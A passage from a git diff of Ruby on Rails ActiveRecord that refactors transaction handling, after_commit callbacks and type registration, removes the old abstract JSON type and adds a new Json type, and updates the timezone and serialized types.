+      @internal_transaction&.after_rollback(&block)
+    end
+
+    # Returns true if the transaction exists and isn't finalized yet.
+    def open?
+      !closed?
+    end
+
+    # Returns true if the transaction doesn't exist or is finalized.
+    def closed?
+      @internal_transaction.nil? || @internal_transaction.closed?
+    end
+
+    alias_method :blank?, :closed?
+
+    # Returns a UUID for this transaction or +nil+ if no transaction is open.
+    def uuid
+      if @internal_transaction
+        @uuid ||= Digest::UUID.uuid_v4
+      end
+    end
+
+    NULL_TRANSACTION = new(nil).freeze
+  end
+end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index 08417aaa0f138..28b3d41810419 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -1,20 +1,20 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # See ActiveRecord::Transactions::ClassMethods for documentation.
   module Transactions
     extend ActiveSupport::Concern
-    #:nodoc:
-    ACTIONS = [:create, :destroy, :update]
+    ACTIONS = [:create, :destroy, :update] # :nodoc:
 
     included do
       define_callbacks :commit, :rollback,
                        :before_commit,
-                       :before_commit_without_transaction_enrollment,
-                       :commit_without_transaction_enrollment,
-                       :rollback_without_transaction_enrollment,
                        scope: [:kind, :name]
     end
 
-    # = Active Record Transactions
+    attr_accessor :_new_record_before_last_commit, :_last_transaction_return_status # :nodoc:
+
+    # = Active Record \Transactions
     #
     # \Transactions are protective blocks where SQL statements are only permanent
     # if they can all succeed as one atomic action. The classic example is a
@@ -99,7 +99,8 @@ module Transactions
     # catch those in your application code.
     #
     # One exception is the ActiveRecord::Rollback exception, which will trigger
-    # a ROLLBACK when raised, but not be re-raised by the transaction block.
+    # a ROLLBACK when raised, but not be re-raised by the transaction block. Any
+    # other exception will be re-raised.
     #
     # *Warning*: one should not catch ActiveRecord::StatementInvalid exceptions
     # inside a transaction block. ActiveRecord::StatementInvalid exceptions indicate that an
@@ -123,7 +124,7 @@ module Transactions
     #     # statement will cause a PostgreSQL error, even though the unique
     #     # constraint is no longer violated:
     #     Number.create(i: 1)
-    #     # => "PGError: ERROR:  current transaction is aborted, commands
+    #     # => "PG::Error: ERROR:  current transaction is aborted, commands
     #     #     ignored until end of transaction block"
     #   end
     #
@@ -162,13 +163,13 @@ module Transactions
     #     end
     #   end
     #
-    # only "Kotori" is created. This works on MySQL and PostgreSQL. SQLite3 version >= '3.6.8' also supports it.
+    # only "Kotori" is created.
     #
     # Most databases don't support true nested transactions. At the time of
     # writing, the only database that we're aware of that supports true nested
     # transactions, is MS-SQL. Because of this, Active Record emulates nested
-    # transactions by using savepoints on MySQL and PostgreSQL. See
-    # http://dev.mysql.com/doc/refman/5.7/en/savepoint.html
+    # transactions by using savepoints. See
+    # https://dev.mysql.com/doc/refman/en/savepoint.html
     # for more information about savepoints.
     #
     # === \Callbacks
@@ -186,9 +187,30 @@ module Transactions
     # #after_commit is a good spot to put in a hook to clearing a cache since clearing it from
     # within a transaction could trigger the cache to be regenerated before the database is updated.
     #
+    # ==== NOTE: Callbacks are deduplicated per callback by filter.
+    #
+    # Trying to define multiple callbacks with the same filter will result in a single callback being run.
+    #
+    # For example:
+    #
+    #   after_commit :do_something
+    #   after_commit :do_something # only the last one will be called
+    #
+    # This applies to all variations of <tt>after_*_commit</tt> callbacks as well.
+    #
+    #   after_commit :do_something
+    #   after_create_commit :do_something
+    #   after_save_commit :do_something
+    #
+    # It is recommended to use the +on:+ option to specify when the callback should be run.
+    #
+    #   after_commit :do_something, on: [:create, :update]
+    #
+    # This is equivalent to using +after_create_commit+ and +after_update_commit+, but will not be deduplicated.
+    #
     # === Caveats
     #
-    # If you're on MySQL, then do not use Data Definition Language(DDL) operations in nested
+    # If you're on MySQL, then do not use Data Definition Language (DDL) operations in nested
     # transactions blocks that are emulated with savepoints. That is, do not execute statements
     # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
     # releases all savepoints upon executing a DDL operation. When +transaction+
@@ -196,18 +218,50 @@ module Transactions
     # database error will occur because the savepoint has already been
     # automatically released. The following example demonstrates the problem:
     #
-    #   Model.connection.transaction do                           # BEGIN
-    #     Model.connection.transaction(requires_new: true) do     # CREATE SAVEPOINT active_record_1
-    #       Model.connection.create_table(...)                    # active_record_1 now automatically released
-    #     end                                                     # RELEASE SAVEPOINT active_record_1
-    #                                                             # ^^^^ BOOM! database error!
-    #   end
+    #   Model.transaction do                           # BEGIN
+    #     Model.transaction(requires_new: true) do     # CREATE SAVEPOINT active_record_1
+    #       Model.lease_connection.create_table(...)   # active_record_1 now automatically released
+    #     end                                          # RELEASE SAVEPOINT active_record_1
+    #   end                                            # ^^^^ BOOM! database error!
     #
     # Note that "TRUNCATE" is also a MySQL DDL statement!
     module ClassMethods
       # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
-      def transaction(options = {}, &block)
-        connection.transaction(options, &block)
+      def transaction(**options, &block)
+        with_connection do |connection|
+          connection.pool.with_pool_transaction_isolation_level(ActiveRecord.default_transaction_isolation_level, connection.transaction_open?) do
+            connection.transaction(**options, &block)
+          end
+        end
+      end
+
+      # Makes all transactions the current pool use the isolation level initiated within the block.
+      def with_pool_transaction_isolation_level(isolation_level, &block)
+        if current_transaction.open?
+          raise ActiveRecord::TransactionIsolationError, "cannot set default isolation level while transaction is open"
+        end
+
+        old_level = connection_pool.pool_transaction_isolation_level
+        connection_pool.pool_transaction_isolation_level = isolation_level
+        yield
+      ensure
+        connection_pool.pool_transaction_isolation_level = old_level
+      end
+
+      # Returns the default isolation level for the connection pool, set earlier by #with_pool_transaction_isolation_level.
+      def pool_transaction_isolation_level
+        connection_pool.pool_transaction_isolation_level
+      end
+
+      # Returns a representation of the current transaction state,
+      # which can be a top level transaction, a savepoint, or the absence of a transaction.
+      #
+      # An object is always returned, whether or not a transaction is currently active.
+      # To check if a transaction was opened, use <tt>current_transaction.open?</tt>.
+      #
+      # See the ActiveRecord::Transaction documentation for detailed behavior.
+      def current_transaction
+        connection_pool.active_connection&.current_transaction&.user_transaction || Transaction::NULL_TRANSACTION
       end
 
       def before_commit(*args, &block) # :nodoc:
@@ -228,25 +282,31 @@ def before_commit(*args, &block) # :nodoc:
       #   after_commit :do_bar_baz, on: [:update, :destroy]
       #
       def after_commit(*args, &block)
-        set_options_for_callbacks!(args)
+        set_options_for_callbacks!(args, prepend_option)
+        set_callback(:commit, :after, *args, &block)
+      end
+
+      # Shortcut for <tt>after_commit :hook, on: [ :create, :update ]</tt>.
+      def after_save_commit(*args, &block)
+        set_options_for_callbacks!(args, on: [ :create, :update ], **prepend_option)
         set_callback(:commit, :after, *args, &block)
       end
 
       # Shortcut for <tt>after_commit :hook, on: :create</tt>.
       def after_create_commit(*args, &block)
-        set_options_for_callbacks!(args, on: :create)
+        set_options_for_callbacks!(args, on: :create, **prepend_option)
         set_callback(:commit, :after, *args, &block)
       end
 
       # Shortcut for <tt>after_commit :hook, on: :update</tt>.
       def after_update_commit(*args, &block)
-        set_options_for_callbacks!(args, on: :update)
+        set_options_for_callbacks!(args, on: :update, **prepend_option)
         set_callback(:commit, :after, *args, &block)
       end
 
       # Shortcut for <tt>after_commit :hook, on: :destroy</tt>.
       def after_destroy_commit(*args, &block)
-        set_options_for_callbacks!(args, on: :destroy)
+        set_options_for_callbacks!(args, on: :destroy, **prepend_option)
         set_callback(:commit, :after, *args, &block)
       end
 
@@ -254,26 +314,37 @@ def after_destroy_commit(*args, &block)
       #
       # Please check the documentation of #after_commit for options.
       def after_rollback(*args, &block)
-        set_options_for_callbacks!(args)
+        set_options_for_callbacks!(args, prepend_option)
         set_callback(:rollback, :after, *args, &block)
       end
 
-      def before_commit_without_transaction_enrollment(*args, &block) # :nodoc:
-        set_options_for_callbacks!(args)
-        set_callback(:before_commit_without_transaction_enrollment, :before, *args, &block)
-      end
+      # Similar to ActiveSupport::Callbacks::ClassMethods#set_callback, but with
+      # support for options available on #after_commit and #after_rollback callbacks.
+      def set_callback(name, *filter_list, &block)
+        options = filter_list.extract_options!
+        filter_list << options
+
+        if name.in?([:commit, :rollback]) && options[:on]
+          fire_on = Array(options[:on])
+          assert_valid_transaction_action(fire_on)
+          options[:if] = [
+            -> { transaction_include_any_action?(fire_on) },
+            *options[:if]
+          ]
+        end
 
-      def after_commit_without_transaction_enrollment(*args, &block) # :nodoc:
-        set_options_for_callbacks!(args)
-        set_callback(:commit_without_transaction_enrollment, :after, *args, &block)
-      end
 
-      def after_rollback_without_transaction_enrollment(*args, &block) # :nodoc:
-        set_options_for_callbacks!(args)
-        set_callback(:rollback_without_transaction_enrollment, :after, *args, &block)
+        super(name, *filter_list, &block)
       end
 
       private
+        def prepend_option
+          if ActiveRecord.run_after_transaction_callbacks_in_order_defined
+            { prepend: true }
+          else
+            {}
+          end
+        end
 
         def set_options_for_callbacks!(args, enforced_options = {})
           options = args.extract_options!.merge!(enforced_options)
@@ -282,8 +353,10 @@ def set_options_for_callbacks!(args, enforced_options = {})
           if options[:on]
             fire_on = Array(options[:on])
             assert_valid_transaction_action(fire_on)
-            options[:if] = Array(options[:if])
-            options[:if] << "transaction_include_any_action?(#{fire_on})"
+            options[:if] = [
+              -> { transaction_include_any_action?(fire_on) },
+              *options[:if]
+            ]
           end
         end
 
@@ -295,41 +368,27 @@ def assert_valid_transaction_action(actions)
     end
 
     # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
-    def transaction(options = {}, &block)
-      self.class.transaction(options, &block)
+    def transaction(**options, &block)
+      self.class.transaction(**options, &block)
     end
 
-    def destroy #:nodoc:
+    def destroy # :nodoc:
       with_transaction_returning_status { super }
     end
 
-    def save(*) #:nodoc:
-      rollback_active_record_state! do
-        with_transaction_returning_status { super }
-      end
-    end
-
-    def save!(*) #:nodoc:
+    def save(**) # :nodoc:
       with_transaction_returning_status { super }
     end
 
-    def touch(*) #:nodoc:
+    def save!(**) # :nodoc:
       with_transaction_returning_status { super }
     end
 
-    # Reset id and @new_record if the transaction rolls back.
-    def rollback_active_record_state!
-      remember_transaction_record_state
-      yield
-    rescue Exception
-      restore_transaction_record_state
-      raise
-    ensure
-      clear_transaction_record_state
+    def touch(*, **) # :nodoc:
+      with_transaction_returning_status { super }
     end
 
     def before_committed! # :nodoc:
-      _run_before_commit_without_transaction_enrollment_callbacks
       _run_before_commit_callbacks
     end
 
@@ -337,161 +396,150 @@ def before_committed! # :nodoc:
     #
     # Ensure that it is not called if the object was never persisted (failed create),
     # but call it after the commit of a destroyed object.
-    def committed!(should_run_callbacks: true) #:nodoc:
-      if should_run_callbacks && destroyed? || persisted?
-        _run_commit_without_transaction_enrollment_callbacks
+    def committed!(should_run_callbacks: true) # :nodoc:
+      @_start_transaction_state = nil
+      if should_run_callbacks
+        @_committed_already_called = true
         _run_commit_callbacks
       end
     ensure
-      force_clear_transaction_record_state
+      @_committed_already_called = @_trigger_update_callback = @_trigger_destroy_callback = false
     end
 
     # Call the #after_rollback callbacks. The +force_restore_state+ argument indicates if the record
     # state should be rolled back to the beginning or just to the last savepoint.
-    def rolledback!(force_restore_state: false, should_run_callbacks: true) #:nodoc:
+    def rolledback!(force_restore_state: false, should_run_callbacks: true) # :nodoc:
       if should_run_callbacks
         _run_rollback_callbacks
-        _run_rollback_without_transaction_enrollment_callbacks
       end
     ensure
       restore_transaction_record_state(force_restore_state)
       clear_transaction_record_state
+      @_trigger_update_callback = @_trigger_destroy_callback = false if force_restore_state
     end
 
-    # Add the record to the current transaction so that the #after_rollback and #after_commit callbacks
-    # can be called.
-    def add_to_transaction
-      if has_transactional_callbacks?
-        self.class.connection.add_transaction_record(self)
-      else
-        sync_with_transaction_state
-        set_transaction_state(self.class.connection.transaction_state)
-      end
-      remember_transaction_record_state
-    end
-
-    # Executes +method+ within a transaction and captures its return value as a
-    # status flag. If the status is true the transaction is committed, otherwise
-    # a ROLLBACK is issued. In any case the status flag is returned.
+    # Executes a block within a transaction and captures its return value as a
+    # status flag. If the status is true, the transaction is committed,
+    # otherwise a ROLLBACK is issued. In any case, the status flag is returned.
     #
     # This method is available within the context of an ActiveRecord::Base
     # instance.
-    def with_transaction_returning_status
-      status = nil
-      self.class.transaction do
-        add_to_transaction
-        begin
-          status = yield
-        rescue ActiveRecord::Rollback
-          clear_transaction_record_state
+    def with_transaction_returning_status # :nodoc:
+      self.class.with_connection do |connection|
+        connection.pool.with_pool_transaction_isolation_level(ActiveRecord.default_transaction_isolation_level, connection.transaction_open?) do
           status = nil
-        end
+          ensure_finalize = !connection.transaction_open?
 
-        raise ActiveRecord::Rollback unless status
-      end
-      status
-    ensure
-      if @transaction_state && @transaction_state.committed?
-        clear_transaction_record_state
+          connection.transaction do
+            add_to_transaction(ensure_finalize || has_transactional_callbacks?)
+            remember_transaction_record_state
+
+            status = yield
+            raise ActiveRecord::Rollback unless status
+          end
+          @_last_transaction_return_status = status
+          status
+        end
       end
     end
 
+    def trigger_transactional_callbacks? # :nodoc:
+      (@_new_record_before_last_commit || _trigger_update_callback) && persisted? ||
+        _trigger_destroy_callback && destroyed?
+    end
+
     private
+      attr_reader :_committed_already_called, :_trigger_update_callback, :_trigger_destroy_callback
+
+      def init_internals
+        super
+        @_start_transaction_state = nil
+        @_last_transaction_return_status = nil
+        @_committed_already_called = nil
+        @_new_record_before_last_commit = nil
+      end
 
       # Save the new record state and id of a record so it can be restored later if a transaction fails.
       def remember_transaction_record_state
-        @_start_transaction_state[:id] = id
-        @_start_transaction_state.reverse_merge!(
+        @_start_transaction_state ||= {
+          id: id,
           new_record: @new_record,
+          previously_new_record: @previously_new_record,
           destroyed: @destroyed,
+          attributes: @attributes,
           frozen?: frozen?,
-        )
-        @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) + 1
+          level: 0
+        }
+        @_start_transaction_state[:level] += 1
+
+        if _committed_already_called
+          @_new_record_before_last_commit = false
+        else
+          @_new_record_before_last_commit = @_start_transaction_state[:new_record]
+        end
       end
 
       # Clear the new record state and id of a record.
       def clear_transaction_record_state
-        @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
-        force_clear_transaction_record_state if @_start_transaction_state[:level] < 1
-      end
-
-      # Force to clear the transaction record state.
-      def force_clear_transaction_record_state
-        @_start_transaction_state.clear
+        return unless @_start_transaction_state
+        @_start_transaction_state[:level] -= 1
+        @_start_transaction_state = nil if @_start_transaction_state[:level] < 1
       end
 
       # Restore the new record state and id of a record that was previously saved by a call to save_record_state.
-      def restore_transaction_record_state(force = false)
-        unless @_start_transaction_state.empty?
-          transaction_level = (@_start_transaction_state[:level] || 0) - 1
-          if transaction_level < 1 || force
-            restore_state = @_start_transaction_state
-            thaw
+      def restore_transaction_record_state(force_restore_state = false)
+        if restore_state = @_start_transaction_state
+          if force_restore_state || restore_state[:level] <= 1
             @new_record = restore_state[:new_record]
+            @previously_new_record = restore_state[:previously_new_record]
             @destroyed  = restore_state[:destroyed]
-            pk = self.class.primary_key
-            if pk && read_attribute(pk) != restore_state[:id]
-              write_attribute(pk, restore_state[:id])
+            @attributes = restore_state[:attributes].map do |attr|
+              value = @attributes.fetch_value(attr.name)
+              attr = attr.with_value_from_user(value) if attr.value != value
+              attr
+            end
+            @mutations_from_database = nil
+            @mutations_before_last_save = nil
+            if self.class.composite_primary_key?
+              if restore_state[:id] != @primary_key.map { |col| @attributes.fetch_value(col) }
+                @primary_key.zip(restore_state[:id]).each do |col, val|
+                  @attributes.write_from_user(col, val)
+                end
+              end
+            else
+              if @attributes.fetch_value(@primary_key) != restore_state[:id]
+                @attributes.write_from_user(@primary_key, restore_state[:id])
+              end
             end
             freeze if restore_state[:frozen?]
           end
         end
       end
 
-      # Determine if a record was created or destroyed in a transaction. State should be one of :new_record or :destroyed.
-      def transaction_record_state(state)
-        @_start_transaction_state[state]
-      end
-
       # Determine if a transaction included an action for :create, :update, or :destroy. Used in filtering callbacks.
       def transaction_include_any_action?(actions)
         actions.any? do |action|
           case action
           when :create
-            transaction_record_state(:new_record)
-          when :destroy
-            defined?(@_trigger_destroy_callback) && @_trigger_destroy_callback
+            persisted? && @_new_record_before_last_commit
           when :update
-            !(transaction_record_state(:new_record) || destroyed?) &&
-              (defined?(@_trigger_update_callback) && @_trigger_update_callback)
+            !(@_new_record_before_last_commit || destroyed?) && _trigger_update_callback
+          when :destroy
+            _trigger_destroy_callback
           end
         end
       end
 
-      def set_transaction_state(state)
-        @transaction_state = state
+      # Add the record to the current transaction so that the #after_rollback and #after_commit
+      # callbacks can be called.
+      def add_to_transaction(ensure_finalize = true)
+        self.class.with_connection do |connection|
+          connection.add_transaction_record(self, ensure_finalize)
+        end
       end
 
       def has_transactional_callbacks?
         !_rollback_callbacks.empty? || !_commit_callbacks.empty? || !_before_commit_callbacks.empty?
       end
-
-      # Updates the attributes on this particular Active Record object so that
-      # if it's associated with a transaction, then the state of the Active Record
-      # object will be updated to reflect the current state of the transaction.
-      #
-      # The +@transaction_state+ variable stores the states of the associated
-      # transaction. This relies on the fact that a transaction can only be in
-      # one rollback or commit (otherwise a list of states would be required).
-      # Each Active Record object inside of a transaction carries that transaction's
-      # TransactionState.
-      #
-      # This method checks to see if the ActiveRecord object's state reflects
-      # the TransactionState, and rolls back or commits the Active Record object
-      # as appropriate.
-      #
-      # Since Active Record objects can be inside multiple transactions, this
-      # method recursively goes through the parent of the TransactionState and
-      # checks if the Active Record object reflects the state of the object.
-      def sync_with_transaction_state
-        update_attributes_from_transaction_state(@transaction_state)
-      end
-
-      def update_attributes_from_transaction_state(transaction_state)
-        if transaction_state && transaction_state.finalized?
-          restore_transaction_record_state if transaction_state.rolledback?
-          clear_transaction_record_state
-        end
-      end
   end
 end
diff --git a/activerecord/lib/active_record/translation.rb b/activerecord/lib/active_record/translation.rb
index ddcb5f2a7afae..41241fe41aabb 100644
--- a/activerecord/lib/active_record/translation.rb
+++ b/activerecord/lib/active_record/translation.rb
@@ -1,21 +1,21 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Translation
-    include ActiveModel::Translation
-
     # Set the lookup ancestors for ActiveModel.
-    def lookup_ancestors #:nodoc:
+    def lookup_ancestors # :nodoc:
       klass = self
       classes = [klass]
       return classes if klass == ActiveRecord::Base
 
-      while klass != klass.base_class
+      while !klass.base_class?
         classes << klass = klass.superclass
       end
       classes
     end
 
-    # Set the i18n scope to overwrite ActiveModel.
-    def i18n_scope #:nodoc:
+    # Set the i18n scope to override ActiveModel.
+    def i18n_scope # :nodoc:
       :activerecord
     end
   end
diff --git a/activerecord/lib/active_record/type.rb b/activerecord/lib/active_record/type.rb
index 4f632660a8463..dadc02095e6b5 100644
--- a/activerecord/lib/active_record/type.rb
+++ b/activerecord/lib/active_record/type.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "active_model/type"
 
-require "active_record/type/internal/abstract_json"
 require "active_record/type/internal/timezone"
 
 require "active_record/type/date"
 require "active_record/type/date_time"
 require "active_record/type/decimal_without_scale"
+require "active_record/type/json"
 require "active_record/type/time"
 require "active_record/type/text"
 require "active_record/type/unsigned_integer"
@@ -44,20 +46,23 @@ def default_value # :nodoc:
         @default_value ||= Value.new
       end
 
-      private
-
-      def current_adapter_name
-        ActiveRecord::Base.connection.adapter_name.downcase.to_sym
+      def adapter_name_from(model) # :nodoc:
+        model.connection_db_config.adapter.to_sym
       end
+
+      private
+        def current_adapter_name
+          adapter_name_from(ActiveRecord::Base)
+        end
     end
 
-    Helpers = ActiveModel::Type::Helpers
     BigInteger = ActiveModel::Type::BigInteger
     Binary = ActiveModel::Type::Binary
     Boolean = ActiveModel::Type::Boolean
     Decimal = ActiveModel::Type::Decimal
     Float = ActiveModel::Type::Float
     Integer = ActiveModel::Type::Integer
+    ImmutableString = ActiveModel::Type::ImmutableString
     String = ActiveModel::Type::String
     Value = ActiveModel::Type::Value
 
@@ -69,6 +74,8 @@ def current_adapter_name
     register(:decimal, Type::Decimal, override: false)
     register(:float, Type::Float, override: false)
     register(:integer, Type::Integer, override: false)
+    register(:immutable_string, Type::ImmutableString, override: false)
+    register(:json, Type::Json, override: false)
     register(:string, Type::String, override: false)
     register(:text, Type::Text, override: false)
     register(:time, Type::Time, override: false)
diff --git a/activerecord/lib/active_record/type/adapter_specific_registry.rb b/activerecord/lib/active_record/type/adapter_specific_registry.rb
index 7cc866f7a79cc..5dfca27d4a037 100644
--- a/activerecord/lib/active_record/type/adapter_specific_registry.rb
+++ b/activerecord/lib/active_record/type/adapter_specific_registry.rb
@@ -1,27 +1,50 @@
-require "active_model/type/registry"
+# frozen_string_literal: true
 
 module ActiveRecord
   # :stopdoc:
   module Type
-    class AdapterSpecificRegistry < ActiveModel::Type::Registry
+    class AdapterSpecificRegistry # :nodoc:
+      def initialize
+        @registrations = []
+      end
+
+      def initialize_copy(other)
+        @registrations = @registrations.dup
+      end
+
       def add_modifier(options, klass, **args)
         registrations << DecorationRegistration.new(options, klass, **args)
       end
 
-      private
+      def register(type_name, klass = nil, **options, &block)
+        unless block_given?
+          block = proc { |_, *args| klass.new(*args) }
+          block.ruby2_keywords if block.respond_to?(:ruby2_keywords)
+        end
+        registrations << Registration.new(type_name, block, **options)
+      end
+
+      def lookup(symbol, *args, **kwargs)
+        registration = find_registration(symbol, *args, **kwargs)
 
-        def registration_klass
-          Registration
+        if registration
+          registration.call(self, symbol, *args, **kwargs)
+        else
+          raise ArgumentError, "Unknown type #{symbol.inspect}"
         end
+      end
 
-        def find_registration(symbol, *args)
+      private
+        attr_reader :registrations
+
+        def find_registration(symbol, *args, **kwargs)
           registrations
-            .select { |registration| registration.matches?(symbol, *args) }
+            .select { |registration| registration.matches?(symbol, *args, **kwargs) }
             .max
         end
     end
 
-    class Registration
+    class Registration # :nodoc:
       def initialize(name, block, adapter: nil, override: nil)
         @name = name
         @block = block
@@ -30,11 +53,7 @@ def initialize(name, block, adapter: nil, override: nil)
       end
 
       def call(_registry, *args, adapter: nil, **kwargs)
-        if kwargs.any? # https://bugs.ruby-lang.org/issues/10856
-          block.call(*args, **kwargs)
-        else
-          block.call(*args)
-        end
+        block.call(*args, **kwargs)
       end
 
       def matches?(type_name, *args, **kwargs)
@@ -50,10 +69,7 @@ def <=>(other)
         priority <=> other.priority
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
       protected
-
         attr_reader :name, :block, :adapter, :override
 
         def priority
@@ -72,7 +88,6 @@ def priority_except_adapter
         end
 
       private
-
         def matches_adapter?(adapter: nil, **)
           (self.adapter.nil? || adapter == self.adapter)
         end
@@ -92,7 +107,7 @@ def has_adapter_conflict?(other)
         end
     end
 
-    class DecorationRegistration < Registration
+    class DecorationRegistration < Registration # :nodoc:
       def initialize(options, klass, adapter: nil)
         @options = options
         @klass = klass
@@ -112,13 +127,8 @@ def priority
         super | 4
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :options, :klass
-
       private
+        attr_reader :options, :klass
 
         def matches_options?(**kwargs)
           options.all? do |key, value|
@@ -128,7 +138,7 @@ def matches_options?(**kwargs)
     end
   end
 
-  class TypeConflictError < StandardError
+  class TypeConflictError < StandardError # :nodoc:
   end
   # :startdoc:
 end
diff --git a/activerecord/lib/active_record/type/date.rb b/activerecord/lib/active_record/type/date.rb
index ccafed054efd8..8177074a20215 100644
--- a/activerecord/lib/active_record/type/date.rb
+++ b/activerecord/lib/active_record/type/date.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     class Date < ActiveModel::Type::Date
diff --git a/activerecord/lib/active_record/type/date_time.rb b/activerecord/lib/active_record/type/date_time.rb
index 1fb9380ecd4d1..4acde6b9f8fe6 100644
--- a/activerecord/lib/active_record/type/date_time.rb
+++ b/activerecord/lib/active_record/type/date_time.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     class DateTime < ActiveModel::Type::DateTime
diff --git a/activerecord/lib/active_record/type/decimal_without_scale.rb b/activerecord/lib/active_record/type/decimal_without_scale.rb
index 7ce33e9cd303a..a207940dc7404 100644
--- a/activerecord/lib/active_record/type/decimal_without_scale.rb
+++ b/activerecord/lib/active_record/type/decimal_without_scale.rb
@@ -1,9 +1,15 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     class DecimalWithoutScale < ActiveModel::Type::BigInteger # :nodoc:
       def type
         :decimal
       end
+
+      def type_cast_for_schema(value)
+        value.to_s.inspect
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/type/hash_lookup_type_map.rb b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
index 0145d5d6c1891..e0aac32fca03a 100644
--- a/activerecord/lib/active_record/type/hash_lookup_type_map.rb
+++ b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
@@ -1,6 +1,42 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
-    class HashLookupTypeMap < TypeMap # :nodoc:
+    class HashLookupTypeMap # :nodoc:
+      def initialize(parent = nil)
+        @mapping = {}
+        @cache = Concurrent::Map.new do |h, key|
+          h.fetch_or_store(key, Concurrent::Map.new)
+        end
+      end
+
+      def lookup(lookup_key, *args)
+        fetch(lookup_key, *args) { Type.default_value }
+      end
+
+      def fetch(lookup_key, *args, &block)
+        @cache[lookup_key].fetch_or_store(args) do
+          perform_fetch(lookup_key, *args, &block)
+        end
+      end
+
+      def register_type(key, value = nil, &block)
+        raise ::ArgumentError unless value || block
+
+        if block
+          @mapping[key] = block
+        else
+          value.freeze
+          @mapping[key] = proc { value }
+        end
+        @cache.clear
+      end
+
+      def clear
+        @mapping.clear
+        @cache.clear
+      end
+
       def alias_type(type, alias_type)
         register_type(type) { |_, *args| lookup(alias_type, *args) }
       end
@@ -14,9 +50,8 @@ def keys
       end
 
       private
-
         def perform_fetch(type, *args, &block)
-          @mapping.fetch(type, block).call(type, *args)
+          @mapping.fetch(type, block).call(type, *args).freeze
         end
     end
   end
diff --git a/activerecord/lib/active_record/type/internal/abstract_json.rb b/activerecord/lib/active_record/type/internal/abstract_json.rb
deleted file mode 100644
index e19c5a14da8ea..0000000000000
--- a/activerecord/lib/active_record/type/internal/abstract_json.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-module ActiveRecord
-  module Type
-    module Internal # :nodoc:
-      class AbstractJson < ActiveModel::Type::Value # :nodoc:
-        include ActiveModel::Type::Helpers::Mutable
-
-        def type
-          :json
-        end
-
-        def deserialize(value)
-          if value.is_a?(::String)
-            ::ActiveSupport::JSON.decode(value) rescue nil
-          else
-            value
-          end
-        end
-
-        def serialize(value)
-          if value.nil?
-            nil
-          else
-            ::ActiveSupport::JSON.encode(value)
-          end
-        end
-
-        def accessor
-          ActiveRecord::Store::StringKeyedHashAccessor
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/type/internal/timezone.rb b/activerecord/lib/active_record/type/internal/timezone.rb
index 947e06158a265..601dca5686ab3 100644
--- a/activerecord/lib/active_record/type/internal/timezone.rb
+++ b/activerecord/lib/active_record/type/internal/timezone.rb
@@ -1,14 +1,28 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
     module Internal
       module Timezone
+        def initialize(timezone: nil, **kwargs)
+          super(**kwargs)
+          @timezone = timezone
+        end
+
         def is_utc?
-          ActiveRecord::Base.default_timezone == :utc
+          default_timezone == :utc
         end
 
         def default_timezone
-          ActiveRecord::Base.default_timezone
+          @timezone || ActiveRecord.default_timezone
         end
+
+        def ==(other)
+          super(other) && timezone == other.timezone
+        end
+
+        protected
+          attr_reader :timezone
       end
     end
   end
diff --git a/activerecord/lib/active_record/type/json.rb b/activerecord/lib/active_record/type/json.rb
new file mode 100644
index 0000000000000..ab2f5f7bec1c1
--- /dev/null
+++ b/activerecord/lib/active_record/type/json.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "active_support/json"
+
+module ActiveRecord
+  module Type
+    class Json < ActiveModel::Type::Value
+      include ActiveModel::Type::Helpers::Mutable
+
+      def type
+        :json
+      end
+
+      def deserialize(value)
+        return value unless value.is_a?(::String)
+        begin
+          ActiveSupport::JSON.decode(value)
+        rescue JSON::ParserError => e
+          # NOTE: This may hide json with duplicate keys. We don't really want to just ignore it
+          # but it's the best we can do in order to still allow updating columns that somehow already
+          # contain invalid json from some other source.
+          # See https://github.com/rails/rails/pull/55536
+          ActiveSupport.error_reporter.report(e, source: "application.active_record")
+          nil
+        end
+      end
+
+      JSON_ENCODER = ActiveSupport::JSON::Encoding.json_encoder.new(escape: false)
+
+      def serialize(value)
+        JSON_ENCODER.encode(value) unless value.nil?
+      end
+
+      def changed_in_place?(raw_old_value, new_value)
+        deserialize(raw_old_value) != new_value
+      end
+
+      def accessor
+        ActiveRecord::Store::StringKeyedHashAccessor
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/serialized.rb b/activerecord/lib/active_record/type/serialized.rb
index 6af05c18604c7..88b580ca57102 100644
--- a/activerecord/lib/active_record/type/serialized.rb
+++ b/activerecord/lib/active_record/type/serialized.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Type
-    class Serialized < DelegateClass(ActiveModel::Type::Value) # :nodoc:
+    class Serialized < ActiveSupport::Delegation::DelegateClass(ActiveModel::Type::Value) # :nodoc:
+      undef to_yaml if method_defined?(:to_yaml)
+
       include ActiveModel::Type::Helpers::Mutable
 
       attr_reader :subtype, :coder
 
-      def initialize(subtype, coder)
+      def initialize(subtype, coder, comparable: false)
         @subtype = subtype
         @coder = coder
+        @comparable = comparable
         super(subtype)
       end
 
@@ -26,15 +31,19 @@ def serialize(value)
         end
       end
 
-      def inspect
